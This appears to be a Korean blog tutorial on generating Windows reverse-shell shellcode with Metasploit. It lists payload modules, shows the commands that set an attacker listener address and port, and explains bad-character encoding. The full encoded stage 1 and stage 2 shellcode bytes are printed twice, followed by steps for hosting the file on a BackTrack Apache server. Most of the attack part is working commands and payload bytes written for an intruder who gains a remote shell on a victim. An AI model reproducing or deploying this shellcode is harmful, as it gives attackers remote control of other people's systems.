cmd/unix/generic normal Unix Command, Generic Command Execution cmd/unix/interact normal Unix Command, Interact with Established Connection cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet) cmd/unix/reverse_bash normal Unix Command Shell, Reverse TCP (/dev/tcp) cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat -e) cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl) cmd/unix/reverse_python normal Unix Command Shell, Reverse TCP (via Python) cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby) cmd/windows/adduser normal Windows Execute net user /ADD CMD cmd/windows/bind_perl normal Windows Command Shell, Bind TCP (via Perl) cmd/windows/bind_perl_ipv6 normal Windows Command Shell, Bind TCP (via perl) IPv6 cmd/windows/bind_ruby normal Windows Command Shell, Bind TCP (via Ruby) cmd/windows/download_eval_vbs normal Windows Executable Download and Evaluate VBS cmd/windows/download_exec_vbs normal Windows Executable Download and Execute (via .vbs) cmd/windows/reverse_perl normal Windows Command, Double reverse TCP connection (via Perl) cmd/windows/reverse_ruby normal Windows Command Shell, Reverse TCP (via Ruby) generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP Stager java/meterpreter/reverse_http normal Java Meterpreter, Java Reverse HTTP Stager java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse HTTPS Stager java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP Stager java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager java/shell/reverse_tcp normal Command Shell, Java Reverse TCP Stager java/shell_reverse_tcp normal Java Command Shell, Reverse TCP Inline linux/armle/adduser normal Linux Add User linux/armle/exec normal Linux Execute Command linux/armle/shell_bind_tcp normal Linux Command Shell, Reverse TCP Inline linux/armle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsbe/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc64/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x64/exec normal Linux Execute Command linux/x64/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager linux/x64/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/x64/shell_find_port normal Linux Command Shell, Find Port Inline linux/x64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/adduser normal Linux Add User linux/x86/chmod normal Linux Chmod linux/x86/exec normal Linux Execute Command linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind TCP Stager (IPv6) linux/x86/meterpreter/bind_nonx_tcp normal Linux Meterpreter, Bind TCP Stager linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager linux/x86/meterpreter/find_tag normal Linux Meterpreter, Find Tag Stager linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter, Reverse TCP Stager (IPv6) linux/x86/meterpreter/reverse_nonx_tcp normal Linux Meterpreter, Reverse TCP Stager linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline linux/x86/read_file normal Linux Read File linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6) linux/x86/shell/bind_nonx_tcp normal Linux Command Shell, Bind TCP Stager linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6) linux/x86/shell/reverse_nonx_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6) linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm Demo netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager osx/armle/execute/bind_tcp normal OS X Write and Execute Binary, Bind TCP Stager osx/armle/execute/reverse_tcp normal OS X Write and Execute Binary, Reverse TCP Stager osx/armle/shell/bind_tcp normal OS X Command Shell, Bind TCP Stager osx/armle/shell/reverse_tcp normal OS X Command Shell, Reverse TCP Stager osx/armle/shell_bind_tcp normal Apple iOS Command Shell, Bind TCP Inline osx/armle/shell_reverse_tcp normal Apple iOS Command Shell, Reverse TCP Inline osx/armle/vibrate normal Apple iOS iPhone Vibrate osx/ppc/shell/bind_tcp normal OS X Command Shell, Bind TCP Stager osx/ppc/shell/find_tag normal OS X Command Shell, Find Tag Stager osx/ppc/shell/reverse_tcp normal OS X Command Shell, Reverse TCP Stager osx/ppc/shell_bind_tcp normal OS X Command Shell, Bind TCP Inline osx/ppc/shell_reverse_tcp normal OS X Command Shell, Reverse TCP Inline osx/x64/dupandexecve/bind_tcp normal OS X dup2 Command Shell, Bind TCP Stager osx/x64/dupandexecve/reverse_tcp normal OS X dup2 Command Shell, Reverse TCP Stager osx/x64/exec normal OS X x64 Execute Command osx/x64/say normal OSX X64 say Shellcode osx/x64/shell_bind_tcp normal OS X x64 Shell Bind TCP osx/x64/shell_find_tag normal OSX Command Shell, Find Tag Inline osx/x64/shell_reverse_tcp normal OS X x64 Shell Reverse TCP osx/x86/bundleinject/bind_tcp normal Mac OS X Inject Mach-O Bundle, Bind TCP Stager osx/x86/bundleinject/reverse_tcp normal Mac OS X Inject Mach-O Bundle, Reverse TCP Stager osx/x86/exec normal OS X Execute Command osx/x86/isight/bind_tcp normal Mac OS X x86 iSight Photo Capture, Bind TCP Stager osx/x86/isight/reverse_tcp normal Mac OS X x86 iSight Photo Capture, Reverse TCP Stager osx/x86/shell_bind_tcp normal OS X Command Shell, Bind TCP Inline osx/x86/shell_find_port normal OS X Command Shell, Find Port Inline osx/x86/shell_reverse_tcp normal OS X Command Shell, Reverse TCP Inline osx/x86/vforkshell/bind_tcp normal OS X (vfork) Command Shell, Bind TCP Stager osx/x86/vforkshell/reverse_tcp normal OS X (vfork) Command Shell, Reverse TCP Stager osx/x86/vforkshell_bind_tcp normal OS X (vfork) Command Shell, Bind TCP Inline osx/x86/vforkshell_reverse_tcp normal OS X (vfork) Command Shell, Reverse TCP Inline php/bind_perl normal PHP Command Shell, Bind TCP (via Perl) php/bind_perl_ipv6 normal PHP Command Shell, Bind TCP (via perl) IPv6 php/bind_php normal PHP Command Shell, Bind TCP (via PHP) php/bind_php_ipv6 normal PHP Command Shell, Bind TCP (via php) IPv6 php/download_exec normal PHP Executable Download and Execute php/exec normal PHP Execute Command php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager php/meterpreter/bind_tcp_ipv6 normal PHP Meterpreter, Bind TCP Stager IPv6 php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP Stager php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline php/reverse_perl normal PHP Command, Double reverse TCP connection (via Perl) php/reverse_php normal PHP Command Shell, Reverse TCP (via PHP) php/shell_findsock normal PHP Command Shell, Find Sock ruby/bind_tcp normal Ruby Command Shell, Bind TCP ruby/bind_tcp_ipv6 normal Ruby Command Shell, Bind TCP IPv6 ruby/reverse_tcp normal Ruby Command Shell, Reverse TCP solaris/sparc/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/sparc/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/sparc/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline solaris/x86/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/x86/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/x86/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline tty/unix/interact normal Unix TTY, Interact with Established Connection windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_ipv6_tcp normal Reflective DLL Injection, Bind TCP Stager (IPv6) windows/dllinject/bind_nonx_tcp normal Reflective DLL Injection, Bind TCP Stager (No NX or Win7) windows/dllinject/bind_tcp normal Reflective DLL Injection, Bind TCP Stager windows/dllinject/find_tag normal Reflective DLL Injection, Find Tag Ordinal Stager windows/dllinject/reverse_http normal Reflective DLL Injection, Reverse HTTP Stager windows/dllinject/reverse_ipv6_http normal Reflective DLL Injection, Reverse HTTP Stager (IPv6) windows/dllinject/reverse_ipv6_tcp normal Reflective DLL Injection, Reverse TCP Stager (IPv6) windows/dllinject/reverse_nonx_tcp normal Reflective DLL Injection, Reverse TCP Stager (No NX or Win7) windows/dllinject/reverse_ord_tcp normal Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7) windows/dllinject/reverse_tcp normal Reflective DLL Injection, Reverse TCP Stager windows/dllinject/reverse_tcp_allports normal Reflective DLL Injection, Reverse All-Port TCP Stager windows/dllinject/reverse_tcp_dns normal Reflective DLL Injection, Reverse TCP Stager (DNS) windows/dns_txt_query_exec normal DNS TXT Record Payload Download and Execution windows/download_exec normal Windows Executable Download (http,https,ftp) and Execute windows/exec normal Windows Execute Command windows/loadlibrary normal Windows LoadLibrary Path windows/messagebox normal Windows MessageBox windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6) windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager windows/meterpreter/find_tag normal Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager windows/meterpreter/reverse_http normal Windows Meterpreter (Reflective Injection), Reverse HTTP Stager windows/meterpreter/reverse_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager windows/meterpreter/reverse_ipv6_http normal Windows Meterpreter (Reflective Injection), Reverse HTTP Stager (IPv6) windows/meterpreter/reverse_ipv6_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager (IPv6) windows/meterpreter/reverse_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6) windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/meterpreter/reverse_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager windows/meterpreter/reverse_tcp_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline windows/patchupdllinject/bind_ipv6_tcp normal Windows Inject DLL, Bind TCP Stager (IPv6) windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7) windows/patchupdllinject/bind_tcp normal Windows Inject DLL, Bind TCP Stager windows/patchupdllinject/find_tag normal Windows Inject DLL, Find Tag Ordinal Stager windows/patchupdllinject/reverse_ipv6_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6) windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_tcp normal Windows Inject DLL, Reverse TCP Stager windows/patchupdllinject/reverse_tcp_allports normal Windows Inject DLL, Reverse All-Port TCP Stager windows/patchupdllinject/reverse_tcp_dns normal Windows Inject DLL, Reverse TCP Stager (DNS) windows/patchupmeterpreter/bind_ipv6_tcp normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager (IPv6) windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7) windows/patchupmeterpreter/bind_tcp normal Windows Meterpreter (skape/jt Injection), Bind TCP Stager windows/patchupmeterpreter/find_tag normal Windows Meterpreter (skape/jt Injection), Find Tag Ordinal Stager windows/patchupmeterpreter/reverse_ipv6_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6) windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_tcp normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager windows/patchupmeterpreter/reverse_tcp_allports normal Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager windows/patchupmeterpreter/reverse_tcp_dns normal Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS) windows/shell/bind_ipv6_tcp normal Windows Command Shell, Bind TCP Stager (IPv6) windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7) windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager windows/shell/find_tag normal Windows Command Shell, Find Tag Ordinal Stager windows/shell/reverse_http normal Windows Command Shell, Reverse HTTP Stager windows/shell/reverse_ipv6_http normal Windows Command Shell, Reverse HTTP Stager (IPv6) windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6) windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7) windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7) windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse All-Port TCP Stager windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse TCP Stager (DNS) windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline windows/shell_bind_tcp_xpfw normal Windows Disable Windows ICF, Command Shell, Bind TCP Inline windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline windows/speak_pwned normal Windows Speech API - Say "You Got Pwned!" windows/upexec/bind_ipv6_tcp normal Windows Upload/Execute, Bind TCP Stager (IPv6) windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7) windows/upexec/bind_tcp normal Windows Upload/Execute, Bind TCP Stager windows/upexec/find_tag normal Windows Upload/Execute, Find Tag Ordinal Stager windows/upexec/reverse_http normal Windows Upload/Execute, Reverse HTTP Stager windows/upexec/reverse_ipv6_http normal Windows Upload/Execute, Reverse HTTP Stager (IPv6) windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6) windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7) windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7) windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS) windows/vncinject/bind_ipv6_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (IPv6) windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/vncinject/bind_tcp normal VNC Server (Reflective Injection), Bind TCP Stager windows/vncinject/find_tag normal VNC Server (Reflective Injection), Find Tag Ordinal Stager windows/vncinject/reverse_http normal VNC Server (Reflective Injection), Reverse HTTP Stager windows/vncinject/reverse_ipv6_http normal VNC Server (Reflective Injection), Reverse HTTP Stager (IPv6) windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6) windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS) windows/x64/exec normal Windows x64 Execute Command windows/x64/loadlibrary normal Windows x64 LoadLibrary Path windows/x64/meterpreter/bind_tcp normal Windows x64 Meterpreter, Windows x64 Bind TCP Stager windows/x64/meterpreter/reverse_tcp normal Windows x64 Meterpreter, Windows x64 Reverse TCP Stager windows/x64/shell/bind_tcp normal Windows x64 Command Shell, Windows x64 Bind TCP Stager windows/x64/shell/reverse_tcp normal Windows x64 Command Shell, Windows x64 Reverse TCP Stager windows/x64/shell_bind_tcp normal Windows x64 Command Shell, Bind TCP Inline windows/x64/shell_reverse_tcp normal Windows x64 Command Shell, Reverse TCP Inline windows/x64/vncinject/bind_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager windows/x64/vncinject/reverse_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager


저는 이중에서 windows/shell/reverse_tcp 의 쉘코드를 생성해 보도록 하겠습니다.


windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager


victim -> hacker 로 연결하도록 하는 쉘코드입니다.


연결시엔 hacker는 시스템의 최고의 권한을 얻게됩니다.


use windows/shell/reverse_tcp 를입력합니다.





또 만약 자신이 cmd를 실행하는 쉘코드를 만들고 싶다면 다음과 같이 입력합니다


use windows/exec


이처럼 원하는 쉘코드를 위에서 선택하시면 됩니다.


쉘코드에 따른 설명은 오른쪽에 나와있는걸 보실 수 있습니다.



그러면 reverse_tcp 페이로드로 설정이되는데요.


페이로드의 옵션을 보려면 show options 를 입력합니다.


옵션은 연결할ip와 port, 그리고 exitfunc[특별한경우에 필요]가 있습니다.


이 페이로드를 사용하기 위해선 위 옵션을 채워야 합니다.



이제 그러면 옵션을 채워보겠습니다.


옵션을 설정하는 방법은 set [name] [value] 입니다.


위 사진에 Required 만 채우시면 되겠습니다.


exitfunc는 이미 설정되어있으니 패스하고, lhost와 lport를 채워보겠습니다.


host는 연결할 서버의 ip, 그리고 port는 연결할 서버의 port를 입력합니다.


ip설정

set lhost 192.168.0.2


port 설정

set lport 7777



세팅을 끝내고 바로 생성을 합니다.


generate -b '\xff\x00'


-b 옵션은 쉘코드에서 저 값을 나오지 않도록 인코딩을 거치는 것입니다.


취약점을 이용하여 exploit을 작성할시 \xff 나 \x00 등 문자때문에 payload 가 손상되는일이 간혹 있습니다.


저런 문자들을 bad char 이라고 합니다.


그런 bad char이 나오지 않도록 거치는 것이 -b 옵션입니다.


그렇다면 이제 모두 생성이 되었습니다.


생성된 값은 다음과 같습니다.


# windows/shell/reverse_tcp - 317 bytes (stage 1) # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.0.2, LPORT=7777, # ReverseConnectRetries=5, ReverseAllowProxy=false, # EXITFUNC=process, InitialAutoRunScript=, AutoRunScript= buf = "\xba\x6d\x92\x9b\x46\xdb\xd2\xd9\x74\x24\xf4\x58\x33\xc9" "\xb1\x49\x31\x50\x14\x83\xe8\xfc\x03\x50\x10\x8f\x67\x67" "\xae\xc6\x88\x98\x2f\xb8\x01\x7d\x1e\xea\x76\xf5\x33\x3a" "\xfc\x5b\xb8\xb1\x50\x48\x4b\xb7\x7c\x7f\xfc\x7d\x5b\x4e" "\xfd\xb0\x63\x1c\x3d\xd3\x1f\x5f\x12\x33\x21\x90\x67\x32" "\x66\xcd\x88\x66\x3f\x99\x3b\x96\x34\xdf\x87\x97\x9a\x6b" "\xb7\xef\x9f\xac\x4c\x45\xa1\xfc\xfd\xd2\xe9\xe4\x76\xbc" "\xc9\x15\x5a\xdf\x36\x5f\xd7\x2b\xcc\x5e\x31\x62\x2d\x51" "\x7d\x28\x10\x5d\x70\x31\x54\x5a\x6b\x44\xae\x98\x16\x5e" "\x75\xe2\xcc\xeb\x68\x44\x86\x4b\x49\x74\x4b\x0d\x1a\x7a" "\x20\x5a\x44\x9f\xb7\x8f\xfe\x9b\x3c\x2e\xd1\x2d\x06\x14" "\xf5\x76\xdc\x35\xac\xd2\xb3\x4a\xae\xbb\x6c\xee\xa4\x2e" "\x78\x88\xe6\x26\x4d\xa6\x18\xb7\xd9\xb1\x6b\x85\x46\x69" "\xe4\xa5\x0f\xb7\xf3\xca\x25\x0f\x6b\x35\xc6\x6f\xa5\xf2" "\x92\x3f\xdd\xd3\x9a\xd4\x1d\xdb\x4e\x7a\x4e\x73\x21\x3a" "\x3e\x33\x91\xd2\x54\xbc\xce\xc2\x56\x16\x67\x68\xac\xf1" "\x48\xc4\xae\x03\x21\x16\xaf\x1d\xd0\x9f\x49\x4b\x02\xc9" "\xc2\xe4\xbb\x50\x98\x95\x44\x4f\xe4\x96\xcf\x63\x18\x58" "\x38\x0e\x0a\x0d\xc8\x45\x70\x98\xd7\x70\x1f\x25\x42\x7e" "\xb6\x72\xfa\x7c\xef\xb5\xa5\x7f\xda\xcd\x6c\x15\xa5\xb9" "\x90\xf9\x25\x3a\xc7\x93\x25\x52\xbf\xc7\x75\x47\xc0\xd2" "\xe9\xd4\x55\xdc\x5b\x88\xfe\xb4\x61\xf7\xc9\x1b\x99\xd2" "\xcb\x60\x4c\x1b\x4e\x90\xfa\x4f\x92" # windows/shell/reverse_tcp - 240 bytes (stage 2) # http://www.metasploit.com buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" "\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" "\xff\xd5"



자.. 모두 생성이 되었습니다.




아래는 선택사항이지만 하시는것을 추천합니다.


저는 현재 vm으로 돌리고 있어서 파일 옮기기가 가능하나 일부로 아파치 서버를 이용합니다.


웹으로 되어있어서 백트랙 아파치 서버에 접속만 하면 간단하게 복사가 가능하기 떄문이죠~


apache2 서버를 켜는법


상단탭의 Applications -> BackTrack -> Services -> HTTPD -> apache start 를 누르시면 apache2 서버가 구동됩니다.


apache2 서버의 폴더는 /var/www 입니다.


/var/www 로 이동합니다.



그리고 gedit으로 shellcode.txt를 실행합니다.



만들어진 쉘코드를 복사하고 붙여넣고 저장합니다.



그리고 서버로 접속하면 shellcode.txt가 보입니다.



다시한번 써보게 되지만, 위에서 복사한값은 다음과 같습니다.


msf payload(reverse_tcp) > generate -b '\xff\x00'

# windows/shell/reverse_tcp - 317 bytes (stage 1)
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LHOST=192.168.0.2, LPORT=7777, 
# ReverseConnectRetries=5, ReverseAllowProxy=false, 
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
buf = 
"\xba\x6d\x92\x9b\x46\xdb\xd2\xd9\x74\x24\xf4\x58\x33\xc9"  
"\xb1\x49\x31\x50\x14\x83\xe8\xfc\x03\x50\x10\x8f\x67\x67"  
"\xae\xc6\x88\x98\x2f\xb8\x01\x7d\x1e\xea\x76\xf5\x33\x3a"  
"\xfc\x5b\xb8\xb1\x50\x48\x4b\xb7\x7c\x7f\xfc\x7d\x5b\x4e"  
"\xfd\xb0\x63\x1c\x3d\xd3\x1f\x5f\x12\x33\x21\x90\x67\x32"  
"\x66\xcd\x88\x66\x3f\x99\x3b\x96\x34\xdf\x87\x97\x9a\x6b"  
"\xb7\xef\x9f\xac\x4c\x45\xa1\xfc\xfd\xd2\xe9\xe4\x76\xbc"  
"\xc9\x15\x5a\xdf\x36\x5f\xd7\x2b\xcc\x5e\x31\x62\x2d\x51"  
"\x7d\x28\x10\x5d\x70\x31\x54\x5a\x6b\x44\xae\x98\x16\x5e"  
"\x75\xe2\xcc\xeb\x68\x44\x86\x4b\x49\x74\x4b\x0d\x1a\x7a"  
"\x20\x5a\x44\x9f\xb7\x8f\xfe\x9b\x3c\x2e\xd1\x2d\x06\x14"  
"\xf5\x76\xdc\x35\xac\xd2\xb3\x4a\xae\xbb\x6c\xee\xa4\x2e"  
"\x78\x88\xe6\x26\x4d\xa6\x18\xb7\xd9\xb1\x6b\x85\x46\x69"  
"\xe4\xa5\x0f\xb7\xf3\xca\x25\x0f\x6b\x35\xc6\x6f\xa5\xf2"  
"\x92\x3f\xdd\xd3\x9a\xd4\x1d\xdb\x4e\x7a\x4e\x73\x21\x3a"  
"\x3e\x33\x91\xd2\x54\xbc\xce\xc2\x56\x16\x67\x68\xac\xf1"  
"\x48\xc4\xae\x03\x21\x16\xaf\x1d\xd0\x9f\x49\x4b\x02\xc9"  
"\xc2\xe4\xbb\x50\x98\x95\x44\x4f\xe4\x96\xcf\x63\x18\x58"  
"\x38\x0e\x0a\x0d\xc8\x45\x70\x98\xd7\x70\x1f\x25\x42\x7e"  
"\xb6\x72\xfa\x7c\xef\xb5\xa5\x7f\xda\xcd\x6c\x15\xa5\xb9"  
"\x90\xf9\x25\x3a\xc7\x93\x25\x52\xbf\xc7\x75\x47\xc0\xd2"  
"\xe9\xd4\x55\xdc\x5b\x88\xfe\xb4\x61\xf7\xc9\x1b\x99\xd2"  
"\xcb\x60\x4c\x1b\x4e\x90\xfa\x4f\x92"

# windows/shell/reverse_tcp - 240 bytes (stage 2)
# http://www.metasploit.com
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"  
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"  
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"  
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"  
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"  
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"  
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"  
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"  
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"  
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"  
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"  
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"  
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"  
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"  
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"  
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"  
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"  
